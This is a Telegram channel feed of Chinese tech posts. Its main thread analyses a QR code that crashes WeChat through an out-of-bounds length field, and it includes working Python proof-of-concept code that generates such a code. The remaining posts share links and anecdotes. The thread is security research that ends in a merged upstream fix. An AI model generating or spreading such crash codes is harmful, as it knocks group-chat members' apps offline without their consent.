TimeAxis
751 subscribers
543 photos
9 videos
5 files
326 links
GZTime's personal channel.
Download Telegram
Forwarded from 青鸟的频道
某日,群里一位大佬又在卖弱,说自己不会xx又不会xx,菜死了, 这已经成为日常了。
然而今天情况发生了一些变化,一位今天新进群的人说:“我可以免费教你,如果你不嫌弃我考试只有80分的话”
群里安静了一下,尴尬涌上心头,我知道卖弱的那位可是考了满分。

在这种真诚下,才意识到卖弱和装逼本质上没有区别,都是欺骗。
但是总是觉得卖弱是更合理的,不容易被指责。
这应该是因为高度竞争的社会意识,觉得自己成为弱者不会得到好处,只会被歧视,所以没什么问题。
但是一旦碰撞到善意的社会,就会发现这种行为的荒谬。
👍14
Forwarded from 不存在的世界
这是一张用微信扫描就会 crash 的二维码,应该是微信 OCR 的实现有问题
以及如果发在群聊里可能会导致群聊的人都闪退(因为微信会自动识别二维码)

UPDATE: 腾讯系的软件应该都有这个问题
不存在的世界
这是一张用微信扫描就会 crash 的二维码,应该是微信 OCR 的实现有问题 以及如果发在群聊里可能会导致群聊的人都闪退(因为微信会自动识别二维码) UPDATE: 腾讯系的软件应该都有这个问题
感觉主要出锅的地方在:


[0100] [00000001] []
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 1
Decoded data :



因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:


{value: '00000001', type: 'Char. count indicator', decoded: 1, modules: Array(8)}
{value: '10011111', type: 'Message data', decoded: '\x9F', modules: Array(8)}
{value: '0000', type: 'Mode indicator', decoded: 'Terminator', modules: Array(4)}
{value: '0010', type: 'Mode indicator', decoded: 'Alphanumeric mode', modules: Array(4)}
{value: '100111001', type: 'Char. count indicator', decoded: 313, modules: Array(9)}
{value: '01100111100', type: 'Message data', decoded: 'II', modules: Array(11)}
{value: '01100010011', type: 'Message data', decoded: 'HM', modules: Array(11)}
{value: '10100001110', type: 'Message data', decoded: 'SY', modules: Array(11)}
{value: '00110010000', type: 'Message data', decoded: '8+', modules: Array(11)}
{value: '01110011111', type: 'Message data', decoded: 'KR', modules: Array(11)}
{value: '01101010111', type: 'Message data', decoded: 'J0', modules: Array(11)}
{value: '01110100010', type: 'Message data', decoded: 'KU', modules: Array(11)}
{value: '10000011011', type: 'Message data', decoded: 'NG', modules: Array(11)}
{value: '11101010111', type: 'Message data', decoded: '-Y', modules: Array(11)}
{value: '1101', type: 'Message data', decoded: '0D', modules: Array(4)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}



提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符 \x9f 和正常的终止符号,但在之后本应该是 padding 的 11101100 和 11101100 却不见了踪迹,后续的 block 恰好被解析为了 Alphanumeric mode,长度块标准为 9 bit,并且读取出其长度为 313,导致后续的数据被解析为了奇怪的内容,并且直接开始越界解析。

但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:


Final data bits :
00101111111110000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100
[0010] [111111111] [0000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100]
Mode Indicator : Alphanumeric Mode (0010)
Character Count Indicator : 511
Decoded data : 2333AA76%J5L1QVFA.380Cundefinedundefinedundefinedundefinedundefined……
Final Decoded string : 2333AA76%J5L1QVFA.380C
TimeAxis
忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。
构造成功了,成功让微信崩溃了!几个要点:

1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
👍25
TimeAxis
构造成功了,成功让微信崩溃了!几个要点: 1. 数据需要绝对无填充,不可以出现 padding pattern 2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
附上复现用的代码:

import qrcode
from qrcode.util import *

def hack_put(self, num, length):
if num == 0:
num = 233 # make a fake length
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = hack_put

qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)

qr.make_image()


理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
🥰27
🥰
😁11
This media is not supported in your browser
VIEW IN TELEGRAM
8
草()
😁16
🥰8👍2
好哦!Merge 了!

还怕自己那么早公开 PoC 会被抢走 PR / CVE,还好成功搏了回来😭

也算是成了 OpenCV 的 Contributor,不亏!
这波是 Misc 手站起来了!
👏25
Forwarded from 不存在的世界
常识:GitHub 的讨论区不是论坛……
Forwarded from Rachel 碎碎念 (Rachel 🐨)
#有意思的文章
GPT 3.5 组成的一个认真运行的小社会,好酷啊,这就是未来吗

美国斯坦福大学和谷歌的研究团队基于GPT-3.5创建了一个迷你的“西部世界”——25个NPC都是由生成式智能体(Generative Agents)扮演的,他们有着各自的思想、个性、记忆、计划、社交关系等人类属性,一同生活在Smallville小镇中。这些AI角色在虚拟的世界中认真地生活,计划着自己的每一天,甚至还会主动地制造机会来追求自己喜欢的人。

https://mp.weixin.qq.com/s/zsAPikn6CbaO86qbpKCmZg
Forwarded from Laoself 🐎 (Laboratory of Standard Bowl 🧪)
《中国的防火长城是如何检测和封锁完全加密流量的》
https://gfw.report/publications/usenixsecurity23/zh/
Forwarded from Rachel 碎碎念 (Rachel 🐨)
#有意思的项目
生成极小缩略图的一个工具,通过将颜色从 RGB 映射到更能反映人眼观感的亮度 (luminance) - 色度 (chrominance) 空间(具体来说是亮度 L - 黄蓝 P - 红绿 Q)并进行 离散余弦变换 ,以及砍掉高频部分等操作,ThumbHash 能够生成与 BlurHash 等竞争者相比,空间利用率更高、保留长宽比、颜色更准确并且支持透明度的图片,实测效果非常厉害

官方提供了 JS, Rust, Swift 和 Java 的实现,README 中也给出了 Go, Perl, PHP 和 Ruby 的实现,应该足以应对大部分使用场景了

官网、原理及 live demo: https://evanw.github.io/thumbhash/
GitHub 仓库: https://github.com/evanw/thumbhash
👍10
#github
一个能够升级你电脑上所有东西的东西,甚至 macOS system update……

不跑一次我都不知道我电脑上装了这么多东西,离谱……

https://github.com/topgrade-rs/topgrade
🤯14
这两天一直苦于 TimeMachine 备份一直有问题
昨天扫了一下午一晚上扫了一亿多条变更记录还没开始传输

今天重试了几次还是一样,刚刚突然意识到可以找 log,遂找到了罪魁祸首……

一个被我忽略了的、嵌入在一个 rust 项目里面、同时没有用 pnpm 管理的 node_modules 😇

PS:不是自己的项目,clone 编译测试的一个 tauri 项目
😇4🔥1